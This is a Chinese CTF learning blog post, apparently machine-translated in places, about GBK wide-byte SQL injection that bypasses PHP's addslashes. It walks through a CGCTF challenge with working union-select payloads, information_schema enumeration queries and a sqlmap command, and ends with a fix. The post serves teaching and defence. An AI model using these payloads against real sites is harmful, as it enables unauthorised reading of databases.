当前位置: 首页 > 后端技术 > PHP

【CTF-Web学习1】0x01SQL注入宽字节注入

时间:2023-03-29 23:49:36 PHP

0x01前言准备系统对这一年学的Web知识进行梳理总结和完善。如果您有任何问题,请提出建议。在计算机中,字符的表示和存储都离不开编码。例如ASCII、utf-8、gbk2312等。通常字符的表示只需要1个字节。但是也有像gbk2312这样的编码格式需要2个字节来表示,我们称之为宽字节。所谓的宽字节注入可能存在于以GBK编码存储数据的SQL数据库中。在实际遗址中比较少见(常见于学校的古残址),修复方案也很简单。它是CTF中介绍性的sql注入主题。0x02宽字节注入原理分析0x01理解addslashes在基于PHP的SQL注入防御中总是提到这个函数。addslashes(string$str):string在PHP官方文档中,这个函数的描述是这样的:返回一个字符串,在一些字符前加上反斜杠,用于数据库查询语句等需要,这些字符是单引号(')、双引号(")、反斜杠()和NUL(NULL字符)。示例:对于最简单的字符和数字类型的注入,修改后的函数转义的sql语句确实会“卡”单引号。(构造攻击的sql语句不会执行),但是要绕过这个函数并不难,无非就是两点:1、在前面加一个(或者奇数)就变成了('),这样就可以导致被转义,这样'就可以转义了。2.去掉它。**在下面的例子中,你可以意识到,如果数据库使用宽字节编码,这个函数就变成了一个pap呃老虎。0x02Wide-byteinjectionprincipleWide-byteinjectionapplicationmysql有个特点,就是当mysql使用GBK编码时,会把两个字符当作一个汉字。(前面的ASCII码必须大于128才能达到汉字的范围)先了解一下这些字符的url编码:输入单引号时,经过addslashes转义后,对应的url编码为:'-->\'-->%5C%27当前面引入ASCII大于128的字符时(如%df),url编码变为:%df-->%df\'-->(%df%5C)%27如果使用gbk编码,%df%5C会被当成汉字,从而使%27(单引号)转义,成功绕过我们用url编码研究:使用gbk编码时,可以看到一个汉字占2个字节。对\'进行编码:现在在前面加上%df,可以看到%df%5C被认为是汉字,单引号转义成功:0x03宽字节注入利用示例这里是南邮ctf(CGCTF)网络题:以SQL-GBK为例。输入id=1',可以看到'变成了\',这是addslashes函数的转义结果。用上面说的方法构造id=1%df',id=1%aa',如果报错成功,下面就可以常规手动注入了。不清楚的可以参考网上的一些文章,比如:https://blog.csdn.net/Litbai_zhang/article/details/83869918首先构造orderby语句,尝试获取列数,注意关闭(把后面的语句注释掉,以免影响构造语句的执行)常见的关闭方式有:井号、--+等,这里我们用井号和%23来表示,否则我们可能无法解析?id=1%aa'orderby2%233已经报错了,可以知道列数(字段数)为2。继续用union判断数据的显示位置:有一篇文章说这一步写的很好,推荐一下:https://blog.csdn.net/weixin_44840696/article/details/89166154?id=999%aa'unionselect1,2%23明白了显示的位置是2。接下来把2改成database(),成功获取到数据库名:sae-chinalover?id=999%aa'unionselect1,database()%23继续跟进,查表名。(不放链接,不知道怎么下载mysql自带的系统库结构和函数自行百度看资料):注意:因为单引号会被转义,所以直接设置table_schema=library是不可行的姓名。?id=999%aa'unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema='sae-chinalover'%23可以用database()替换库名。成功获取表名。?id=999%aa'unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()%23接下来就是爆字段,依次爆四个表的字段,找到flagfieldinctf4:?id=999%aa'unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name=0x63746634%23查询得到flag成功。对了,这题也可以直接用sqlmap跑。只需抛出您在其上构建的宽字符绕过语句即可。以数据库名为例:sqlmap-u"http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27"--current-db0x04字节注入,最好的一种修复方法是:(1)使用mysql_set_charset(GBK)指定字符集(2)使用mysql_real_escape_string进行转义。mysql_real_escape_string和addslashes的区别在于它会考虑当前设置的字符集。将%aa%5c拼接成宽字节就不会有问题。所以使用mysql_set_charset来指定当前字符集,然后进行转义。